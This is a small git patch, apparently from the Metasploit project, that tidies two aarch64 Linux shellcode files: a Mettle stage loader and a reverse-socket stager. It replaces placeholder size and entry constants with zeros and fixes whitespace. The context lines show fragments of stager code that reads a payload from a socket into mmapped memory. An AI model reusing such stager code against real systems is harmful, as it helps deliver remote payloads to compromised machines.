From ffbf21cb1c9f1c6b1e2cca3154ee877489c13086 Mon Sep 17 00:00:00 2001 From: Tim Date: Tue, 29 Aug 2017 13:08:40 +0800 Subject: [PATCH] cleanup --- external/source/shellcode/linux/aarch64/stage_mettle.s | 7 ++----- .../source/shellcode/linux/aarch64/stager_sock_reverse.s | 6 +++--- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/external/source/shellcode/linux/aarch64/stage_mettle.s b/external/source/shellcode/linux/aarch64/stage_mettle.s index f149105c1d..0092c737ef 100644 --- a/external/source/shellcode/linux/aarch64/stage_mettle.s +++ b/external/source/shellcode/linux/aarch64/stage_mettle.s @@ -2,9 +2,6 @@ .equ SYS_MMAP, 0xde .equ SYS_EXIT, 0x5d -.equ SIZE, 0xeeeeeeee -.equ ENTRY, 0xffffffff - start: adr x2, size ldr w2, [x2] @@ -94,8 +91,8 @@ failed: .balign 16 size: - .word SIZE + .word 0 .word 0 entry: - .word ENTRY + .word 0 .word 0 diff --git a/external/source/shellcode/linux/aarch64/stager_sock_reverse.s b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s index 7bf02f863e..f8b354fbc5 100644 --- a/external/source/shellcode/linux/aarch64/stager_sock_reverse.s +++ b/external/source/shellcode/linux/aarch64/stager_sock_reverse.s @@ -37,7 +37,7 @@ start: mov x2, #4 mov x8, SYS_READ svc 0 - cmn x0, #0x1 + cmn x0, #0x1 beq failed ldr w2, [sp,#0] @@ -56,7 +56,7 @@ start: mov x5, xzr mov x8, SYS_MMAP svc 0 - cmn x0, #0x1 + cmn x0, #0x1 beq failed /* Grab the saved size, save the address */ @@ -75,7 +75,7 @@ read_loop: mov x2, x4 mov x8, SYS_READ svc 0 - cmn x0, #0x1 + cmn x0, #0x1 beq failed add x3, x3, x0 subs x4, x4, x0